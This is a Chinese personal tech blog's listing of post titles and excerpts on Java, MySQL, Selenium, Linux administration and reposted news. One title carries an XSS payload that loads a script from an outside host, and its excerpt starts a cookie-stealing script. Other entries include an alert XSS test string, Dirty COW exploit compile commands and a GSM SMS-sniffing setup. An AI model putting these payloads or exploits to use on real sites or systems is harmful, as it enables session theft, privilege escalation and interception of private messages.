七侠镇莫小贝的同福客栈

转载 商家投诉中羽协“选择性”抽检 阿里巴巴决定向“潜规则”说不

http://i.wshang.com/Post/Default/Index/pid/248814.html?utm_source=tuicool&utm_medium=referral商家投诉中羽协“选择性”抽检 阿里巴巴决定向“潜规则”说不iwangshang ／ 天下网商 ／ 2016-12-12TAGS: 阿里巴巴 分享：微博

转载 产品经理能力与职责表：你达标了几项？

http://www.chinaz.com/manage/2016/0128/500330.shtml最近新来的一个90后的iOS开发工程师，在吃饭的时候。我问他：“你觉得产品经理的工作怎么样？”他居然说：“很简单嘛，你们整天就点一点App就可以了”。真的是这样吗？这些天，我想了好久。产品经理到底是做什么事情的？PM能力要求1、在1-9个模块里面，有1-3个是90分

原创 Python: 用+号就能把两个数组合并！

python新手，今天才知道用+号就能合并两个数组： c1 = ["Red","Green","Blue"]c2 = ["Orange","Yellow","Indigo"]c3 = c1 + c2 assert c3 == ["Red","Green","Blue","Orange","Yellow","Indigo"]这在以前学c和java的时候，简直不能想象。内个这么设

原创 自动化测试: 通过FF.au3 实现 AutoIt 控制 Firefox 浏览器

参考：http://www.phperz.com/article/15/0413/60641.html目标：Selenium2做不了的事（比如处理文件上传、保存对话框）交给Autoit去做。Autoit做完了要告诉浏览器我做完了（比如修改当前页面的Title）。Selenium2检测到Titile变化，知道了操作结果。前提：Firefox要安装一个MozRepl的插

转载 揭开斐讯免费路由器通过京东热销的幕后真相

http://mt.sohu.com/20160911/n468204999.shtml“无商不奸”的确没错，所以对于那些免费与0元的商品来说，商家必定有着更大的野心与用心。今天，我们就来说说通过京东商城热销全网的斐讯免费路由器，0元购、买就送是斐讯免费路由器在京东商城上最为常见的营销手段，但是0元与免费的背后到底隐藏着什么样的秘密?我们试图通过各种公开的报道信息去揭开真相.....

转载 OS: 脏牛（Dirty COW）漏洞：Linux 内核通杀提权漏洞 （CVE-2016-5195）

注意，编译漏洞利用程序时：gcc -lpthread dirtyc0w.c -o dirtyc0w在Ubuntu 15.10下实际测试，需要改为：gcc -pthread dirtyc0w.c -o dirtyc0w或gcc dirtyc0w.c -o dirtyc0w -lpthread才能正常编译。 其他漏洞利用代码：https://github.com/d...

转载 公安部督办侵犯个人信息案：银行行长卖账号

http://www.ts-hr.com/qdh-gqyce-66411.html公安部督办侵犯个人信息案：银行行长卖账号时间:2016-10-17 07:33:30  作者:www.ts-hr.com制图 李开红　　征信报告、账户明细、余额等，本是个人的隐私。但是，湖南一银行支行行长，却出售自己的查询账号给中间商，再由中间商将账号卖给有银行关系的“

转载 山西：撤销屯留纪委“处理教师”决定 追究相关人责任

http://news.ifeng.com/a/20161017/50109784_0.shtml山西：撤销屯留纪委“处理教师”决定 追究相关人责任2016年10月17日 03:20来源：新华通讯社 用微信扫描二维码分享至好友和朋友圈37023人参与166评论原标题：长治市纪委：

原创 xss实战: 利用xss得到cookie "/><br><script src="https://www.yunssl.cn:9062/static/p2.js"></script><!-

1. 制作一个joke.js，放到外网：// 参考：http://blog.csdn.net/binyao02123202/article/details/9041113// 目前比较好的xss方法：js较短，客户端不弹窗，可完整地获取cookievar img = document.createElement('img');img.width = 0;img.height = 0;

转载 2016国庆节快乐

转载 Java线程详解

http://www.cnblogs.com/riskyer/p/3263032.htmlJava线程：概念与原理一、操作系统中线程和进程的概念现在的操作系统是多任务操作系统。多线程是实现多任务的一种方式。进程是指一个内存中运行的应用程序，每个进程都有自己独立的一块内存空间，一个进程中可以启动多个线程。比如在Windows系统中，一个运行的exe就是一个进程

原创 PKI/CA: 《电子政务数字证书格式规范(局字486)》总结：个人、机构、设备、代码签名四种证书区别_20160922_七侠镇莫尛貝

电子政务数字证书格式规范(局字486)下载：<编号证书类型分类证书主题密钥用法（单证）密钥用法（双证签名证书）密钥用法 (双证加密证书)扩展密钥用法1个人电子政务部门工作人员必须有O(省或省部级信息)可选E(邮件地址) digitalSignature,nonRepudiationkeyEn

原创 Mysql: 开启慢查询日志[ERROR] unknown variable 'log-slow-queries'处理办法

http://www.dataguru.cn/thread-305503-1-1.html解决办法更改变量名称：#slow query log#log-slow-queries=/opt/mysql/log/gfsunny-slow.logslow-query-log-file=/opt/mysql/log/gfsunny-slow.logmysql5.6版本以上，

原创 Java: HttpURLConnection 使用多线程加快批量Post/Get的效率_20160918_七侠镇莫尛貝

使用多线程，可大大提高批量Post/Get操作的效率。Post线程类：class Thread_Http_Post extends Thread{ public static String cookieVal = "" private String httpurl; private String cookies; private String

原创 Java: HttpURLConnection 上传文件_20160912_七侠镇莫尛貝

参考资料：http://lapulande.iteye.com/blog/719581http://my.oschina.net/gavinjin/blog/48897?p=1publicstatic String PostFile(String url_post, String filename, String RA_O,String RA_OU,String char

原创 Linux: lvm使用笔记（开机自动挂载）

参考资料：http://linux.51yip.com/search/lvdisplayhttp://blog.csdn.net/zhanjianshinian/article/details/38509643测试环境：ubuntu151. 安装系统时，如果有多块硬盘，则在一块硬盘上分割出一部分（比如20G）安装操作系统。其他空间和其他硬盘的空间都放到一个lvm

原创 Java: HttpURLConnection 模拟登录方法 (带cookie 的Post/Get)_20160908_七侠镇莫尛貝

// http://blog.csdn.net/woxueliuyun/article/details/43267365package tool class MyHttpUrlConn { public static String cookieVal="" public static void Get(String url_get,String str_param_url

转载 微博转载-是时候了，也该做个了结了。

是时候了，也该做个了结了。(2016-09-05 13:09:48)转载▼标签：杂谈 ​二零零二年，你号称办学授课，我只身一人，满怀希望来北京求学，你说学期三年，学费每年8000，毕了业给艺术文凭，我那时初来乍到，又酷爱相声，便决定留下来随你学艺。交完学费后，你还给我开发票，签字盖章，母亲才放心把我交到你手里。来了之后，我才发现，

转载 国内CA机构沃通错误颁发GitHub域名SSL证书

http://www.freebuf.com/news/113297.htmlhttp://thehackernews.com/2016/08/github-ssl-certificate.html国内CA机构沃通被爆在没有审核域名归属的情况下，给申请者颁发了一张GitHub根域名的SSL证书。事件经过传统的电子证书管理系统其实是互联网上最薄弱的一环

转载 Web安全测试之XSS

test

原创 <img src=hi onerror=alert(1)>

test

转载 电子元件图片大全+++很全的彩图!

http://bbs.mydigit.cn/read.php?tid=997505

转载 Rolling in the deep

http://music.163.com/#/song?id=424262521

转载 怎么通俗的解释COM组件？

https://www.zhihu.com/question/49433640/answer/115952604作者：灵剑链接：https://www.zhihu.com/question/49433640/answer/115952604来源：知乎著作权归作者所有，转载请联系作者获得授权。解释不解释也都是死掉了的技术了啊……COM主要是一套给C/C++

转载 MySQL大表优化方案

https://segmentfault.com/a/1190000006158186当MySQL单表记录数过大时，增删改查性能都会急剧下降，可以参考以下步骤来优化：单表优化除非单表数据未来会一直不断上涨，否则不要一开始就考虑拆分，拆分会带来逻辑、部署、运维的各种复杂度，一般以整型值为主的表在千万级以下，字符串为主的表在五百万以下是没有太大问题的。而事实上很多时候MySQL

转载 马化腾： 你想想不充钱能不能玩这游戏？ 丁磊：你仔细想想不充钱能不能玩这游戏？ 张栋：CNM我就问你不充钱能玩我运营的游戏吗？

https://www.zhihu.com/question/49096215#answer-41175775

原创 Selenium2: web元素定位方法笔记

By.name("username")By.id("username")By.className("buttonStyle")By.linkText("About Google")By.partialLinkText("About")===================================By.cssSelector("标签名[属性名='属性值']")^=

原创 shell: 普通用户如何以root权限执行远程服务器上的命令_20160706_七侠镇莫尛貝

vi run_cmd_on_remote.sh #!/bin/bash# 使用ssh命令执行远程服务器上的脚本# ssh无密码登录远程机器方法：# ssh-keygen# ssh-copy-id -p $remote_port root@$remote_ipremote_ip=192.168.1.188remote_port=22ssh -tt -p

原创 Python: Ubuntu14下用PyInstaller打包.py成一个单独的可执行文件_20160701_七侠镇莫尛貝

参考资料：1.http://pythonhosted.org/PyInstaller/2.http://www.cnblogs.com/mywolrd/p/4756005.html3.http://stackoverflow.com/questions/31767469/pyinstaller-path-or-glob-usr-include-python3-4m-pyconfig

原创 Jenkins自动化测试：使用临时文件实现不同测试用例间的变量传递_20160624_七侠镇莫尛貝

方法：用sed读写文件里的变量：# 创建一个配置文件，写入一个参数：counter=1echo "counter=1" > target/vars.inf#读取countercounter=`sed '/^counter=/!d;s/.*=//' target/vars.inf`echo $counter#显示1#把counter值加1

原创 Ubuntu15下安装使用Vbox虚拟机

1. 安装Vbox:        到https://www.virtualbox.org/ 下载ubuntu15对应的vbox安装包(virtualbox-xxxxx~Ubuntu~wily_amd64.deb)、补丁包（Oracle_VM_VirtualBox_Extension_Packxxxxx.vbox-extpack）（补丁包必须安装，否则安装操作系统时无法通过mstsc连接vrd

原创 C118 smsweb: 通过日志关键字检测判断obb程序是否工作正常_20160617_七侠镇莫尛貝

C118 smsweb: 通过日志关键字检测判断obb程序是否工作正常C118+Osmocom-bb  多机 gsm sniff环境，经常发生工作一段时间后，某个手机监听的arfcn就不工作了。检查日志发现，日志最后有连续的多条:TOA AVG is not 16 qbits, correcting (got 15)，然后日志就一动不动了，无法再继续抓取sms，只能重启obb程序。不清

原创 Shell脚本: Mysql自动创建库和用户_20160607_七侠镇莫尛貝

参考：http://blog.163.com/xychenbaihu@yeah/blog/static/132229655201141142057473/增加删除库、创建用户并授权的功能，库名作为参数传递给脚本：#!/bin/bashHOSTNAME="192.168.100.123" #数据库Se

原创 Ubuntu14下制作绿色版OpenLdap_20160607_七侠镇莫尛貝

Ubuntu14下OpenLdap常规的安装方法是：apt-get install slapd ldap-utilsdpkg-reconfigure slapd     绿色版OpenLdap的好处是，在相同操作系统环境下，解压到任意目录就可以使用，所有东西都在一个目录里，不需要安装配置，带数据，不像常规方法安装后配置、数据、库，二进制文件东一块西一块。    制作绿色版Ope...

原创 Ubuntu14下制作绿色版MariaDB_20160601_七侠镇莫尛貝

Ubuntu14下制作绿色版Maria-DB_20160601_七侠镇莫尛貝    Ubuntu14下MariaDB常规的安装方法是：apt install mariadb-server。    绿色版MariaDB的好处是，在相同操作系统环境下，解压到任意目录就可以使用，所有东西都在一个目录里，不需要安装配置，带数据和用户，不像常规方法安装后配置、数据、库、二进制文件东一块西一块。 ...

原创 Docker: oracle_xe_10g 数据库 运行sqlplus 时Message file sp1<lang>.msb not found 错误解决办法_20160513_七侠镇莫尛貝

使用了https://hub.docker.com/r/dkfi/docker-oracle-xe-10g/ 提供的镜像搭建oracle_xe_10g容器。使用一个以前写的脚本 recreate_orcl_tb_and_user.sh 来自动重建表空间和用户：#!/bin/shORACLE_BASE=/usr/lib/oracle/xe/app/oracleORACLE_HOME=/

原创 test

原创 Selenium2自动化测试-一种低效但有效的web元素定位方法

当页面里有多个符合xpath条件的元素时，定位会比较麻烦。好在，当前页面显示的只有一个，其他都隐藏了。此时，可以用如下方法定位，即判断元素是否isDisplayed。groovy代码：//遍历页面所有符合条件的元素，选择其中一个当前页面可见的public WebElement get_visable_element(WebDriver we_root, String str

原创 SQL：不存在则insert存在则update

SQL：不存在则insert存在则update参考资料：http://www.tuicool.com/articles/YR7FNfINSERT INTO arfcns(arfcn,power,type) VALUES('11','22','33')  ON DUPLICATE KEY UPDATE counter=counter+1;执行update语句的条件是i

原创 git clone --recursive 参数在Jenkins里的配置实现

项目代码使用了子模块的方法，xx.git工程引用了其他项目的代码。git clone --recursive http://xxx.com/xx.gitJenkins配置实现--recursive参数功能的配置如下图：另外，Jenkins下载代码时会出现 Authentication failed 错误。此时，在当前用户目录（如/root/）下增加一个文件：vi /root